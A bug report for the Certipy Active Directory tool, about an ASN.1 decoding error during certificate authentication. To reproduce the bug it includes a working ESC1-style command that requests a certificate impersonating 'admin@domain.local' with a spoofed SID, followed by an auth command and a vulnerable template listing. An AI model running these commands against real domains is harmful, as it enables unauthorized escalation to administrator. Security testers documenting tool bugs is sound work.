[Bug] Auth fails with "not in asn1Spec" error

[coffeegist]

🔢 Certipy Version

5.0.3

🖥️ Operating System

Kali Linux 2025.2

📥 Command Used

certipy req -u localuser@domain.local -p $PASS -ca my-CA -target ca-host.domain.local -template 'vulnCert' -ns 10.1.1.1 -sid S-1-5-21-123456789-123456789-1234567890-112 -upn admin@domain.local
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 12345
[*] Successfully requested certificate
[*] Got certificate with UPN 'admin@domain.local'
[*] Certificate object SID is 'S-1-5-21-123456789-123456789-1234567890-112'
[*] Saving certificate and private key to 'admin.pfx'
[*] Wrote certificate and private key to 'admin.pfx'

certipy -debug auth -dc-ip 10.1.1.1 -pfx admin.pfx

🧯 Error Message / Unexpected Output

[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations
[+] Nameserver: '10.1.1.1'
[+] DC IP: '10.1.1.1'
[+] DC Host: ''
[+] Target IP: '10.1.1.1'
[+] Remote Name: '10.1.1.1'
[+] Domain: ''
[+] Username: ''
[*] Certificate identities:
[*]     SAN UPN: 'admin@domain.local'
[*]     SAN URL SID: 'S-1-5-21-123456789-123456789-1234567890-112'
[*]     Security Extension SID: 'S-1-5-21-123456789-123456789-1234567890-112'
[+] Found SID in SAN URL: 'S-1-5-21-123456789-123456789-1234567890-112'
[+] Found SID in security extension: 'S-1-5-21-123456789-123456789-1234567890-112'
[*] Using principal: 'admin@domain.local'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC domain.local (10.1.1.1)
[*] Got TGT
[-] Authentication failed: <TagSet object, tags 0:32:16-64:32:30> not in asn1Spec: <AS_REP schema object, tagSet=<TagSet object, tags 0:32:16-64:32:11>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type pvno=<Integer schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts 5, 5>>>>, <NamedType object, type msg-type=<Integer schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>, subtypeSpec <ConstraintsIntersection object, consts <ConstraintsUnion object, consts <SingleValueConstraint object, consts 11>, <SingleValueConstraint object, consts 13>>>>>, <OptionalNamedType object, type padata=<SequenceOf schema object, tagSet=<TagSet object, tags 0:32:16-128:32:2>, subtypeSpec=<ConstraintsIntersection object>, componentType=<PA_DATA schema object, tagSet=<TagSet object, tags 0:32:16>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type padata-type=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <NamedType object, type padata-value=<OctetString schema object, tagSet <TagSet object, tags 0:0:4-128:32:2>, encoding iso-8859-1>>>, sizeSpec=<ConstraintsIntersection object>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type crealm=<Realm schema object, tagSet <TagSet object, tags 0:0:27-128:32:3>, encoding iso-8859-1>>, <NamedType object, type cname=<PrincipalName schema object, tagSet=<TagSet object, tags 0:32:16-128:32:4>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type name-type=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <NamedType object, type name-string=<SequenceOf schema object, tagSet=<TagSet object, tags 0:32:16-128:32:1>, subtypeSpec=<ConstraintsIntersection object>, componentType=<KerberosString schema object, tagSet <TagSet object, tags 0:0:27>, encoding iso-8859-1>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type ticket=<Ticket schema object, tagSet=<TagSet object, tags 0:32:16-64:32:1-128:32:5>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type tkt-vno=<Integer schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts 5, 5>>>>, <NamedType object, type realm=<Realm schema object, tagSet <TagSet object, tags 0:0:27-128:32:1>, encoding iso-8859-1>>, <NamedType object, type sname=<PrincipalName schema object, tagSet=<TagSet object, tags 0:32:16-128:32:2>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type name-type=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <NamedType object, type name-string=<SequenceOf schema object, tagSet=<TagSet object, tags 0:32:16-128:32:1>, subtypeSpec=<ConstraintsIntersection object>, componentType=<KerberosString schema object, tagSet <TagSet object, tags 0:0:27>, encoding iso-8859-1>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type enc-part=<EncryptedData schema object, tagSet=<TagSet object, tags 0:32:16-128:32:3>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type etype=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <OptionalNamedType object, type kvno=<UInt32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>>>, <NamedType object, type cipher=<OctetString schema object, tagSet <TagSet object, tags 0:0:4-128:32:2>, encoding iso-8859-1>>>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type enc-part=<EncryptedData schema object, tagSet=<TagSet object, tags 0:32:16-128:32:6>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type etype=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <OptionalNamedType object, type kvno=<UInt32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>>>, <NamedType object, type cipher=<OctetString schema object, tagSet <TagSet object, tags 0:0:4-128:32:2>, encoding iso-8859-1>>>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>
Traceback (most recent call last):
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/certipy/commands/auth.py", line 919, in entry
    result = authenticate.authenticate()
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/certipy/commands/auth.py", line 449, in authenticate
    return self.kerberos_authentication(
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
        username,
        ^^^^^^^^^
    ...<5 lines>...
        upn,
        ^^^^
    )
    ^
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/certipy/commands/auth.py", line 645, in kerberos_authentication
    as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
             ~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/pyasn1/codec/ber/decoder.py", line 2105, in __call__
    for asn1Object in streamingDecoder:
                      ^^^^^^^^^^^^^^^^
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/pyasn1/codec/ber/decoder.py", line 1975, in __iter__
    for asn1Object in self._singleItemDecoder(
                      ~~~~~~~~~~~~~~~~~~~~~~~^
            self._substrate, self._asn1Spec, **self._options):
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/pyasn1/codec/ber/decoder.py", line 1831, in __call__
    for value in concreteDecoder.valueDecoder(
                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
            substrate, asn1Spec,
            ^^^^^^^^^^^^^^^^^^^^
            tagSet, length, stGetValueDecoder,
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            self, substrateFun, **options):
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/pyasn1/codec/ber/decoder.py", line 100, in valueDecoder
    for value in decodeFun(substrate, asn1Spec, tagSet, length, **options):
                 ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/share/pipx/venvs/certipy-ad/lib/python3.13/site-packages/pyasn1/codec/ber/decoder.py", line 1879, in __call__
    raise error.PyAsn1Error(
        '%s not in asn1Spec: %r' % (tagSet, asn1Spec)
    )
pyasn1.error.PyAsn1Error: <TagSet object, tags 0:32:16-64:32:30> not in asn1Spec: <AS_REP schema object, tagSet=<TagSet object, tags 0:32:16-64:32:11>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type pvno=<Integer schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts 5, 5>>>>, <NamedType object, type msg-type=<Integer schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>, subtypeSpec <ConstraintsIntersection object, consts <ConstraintsUnion object, consts <SingleValueConstraint object, consts 11>, <SingleValueConstraint object, consts 13>>>>>, <OptionalNamedType object, type padata=<SequenceOf schema object, tagSet=<TagSet object, tags 0:32:16-128:32:2>, subtypeSpec=<ConstraintsIntersection object>, componentType=<PA_DATA schema object, tagSet=<TagSet object, tags 0:32:16>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type padata-type=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <NamedType object, type padata-value=<OctetString schema object, tagSet <TagSet object, tags 0:0:4-128:32:2>, encoding iso-8859-1>>>, sizeSpec=<ConstraintsIntersection object>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type crealm=<Realm schema object, tagSet <TagSet object, tags 0:0:27-128:32:3>, encoding iso-8859-1>>, <NamedType object, type cname=<PrincipalName schema object, tagSet=<TagSet object, tags 0:32:16-128:32:4>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type name-type=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <NamedType object, type name-string=<SequenceOf schema object, tagSet=<TagSet object, tags 0:32:16-128:32:1>, subtypeSpec=<ConstraintsIntersection object>, componentType=<KerberosString schema object, tagSet <TagSet object, tags 0:0:27>, encoding iso-8859-1>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type ticket=<Ticket schema object, tagSet=<TagSet object, tags 0:32:16-64:32:1-128:32:5>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type tkt-vno=<Integer schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts 5, 5>>>>, <NamedType object, type realm=<Realm schema object, tagSet <TagSet object, tags 0:0:27-128:32:1>, encoding iso-8859-1>>, <NamedType object, type sname=<PrincipalName schema object, tagSet=<TagSet object, tags 0:32:16-128:32:2>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type name-type=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <NamedType object, type name-string=<SequenceOf schema object, tagSet=<TagSet object, tags 0:32:16-128:32:1>, subtypeSpec=<ConstraintsIntersection object>, componentType=<KerberosString schema object, tagSet <TagSet object, tags 0:0:27>, encoding iso-8859-1>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type enc-part=<EncryptedData schema object, tagSet=<TagSet object, tags 0:32:16-128:32:3>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type etype=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <OptionalNamedType object, type kvno=<UInt32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>>>, <NamedType object, type cipher=<OctetString schema object, tagSet <TagSet object, tags 0:0:4-128:32:2>, encoding iso-8859-1>>>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>>, <NamedType object, type enc-part=<EncryptedData schema object, tagSet=<TagSet object, tags 0:32:16-128:32:6>, subtypeSpec=<ConstraintsIntersection object>, componentType=<NamedTypes object, types <NamedType object, type etype=<Int32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:0>, subtypeSpec <ConstraintsIntersection object, consts <ValueRangeConstraint object, consts -2147483648, 2147483647>>>>, <OptionalNamedType object, type kvno=<UInt32 schema object, tagSet <TagSet object, tags 0:0:2-128:32:1>>>, <NamedType object, type cipher=<OctetString schema object, tagSet <TagSet object, tags 0:0:4-128:32:2>, encoding iso-8859-1>>>, sizeSpec=<ConstraintsIntersection object>>>>, sizeSpec=<ConstraintsIntersection object>>

🔍 Relevant certipy find Output (abbreviated and redacted)

Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : True
    Any Purpose                         : True
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 1024
    Template Created                    : 2017-04-18T20:56:18+00:00
    Template Last Modified              : 2023-05-28T20:32:14+00:00

✅ Expected Behavior

Expectations are to successfully gather and use the TGT. I'm not 100% sure what's happening here though, and admittedly don't have the current understanding to debug. Hopefully this helps others too, I've never seen this before.

📎 Additional Context

No response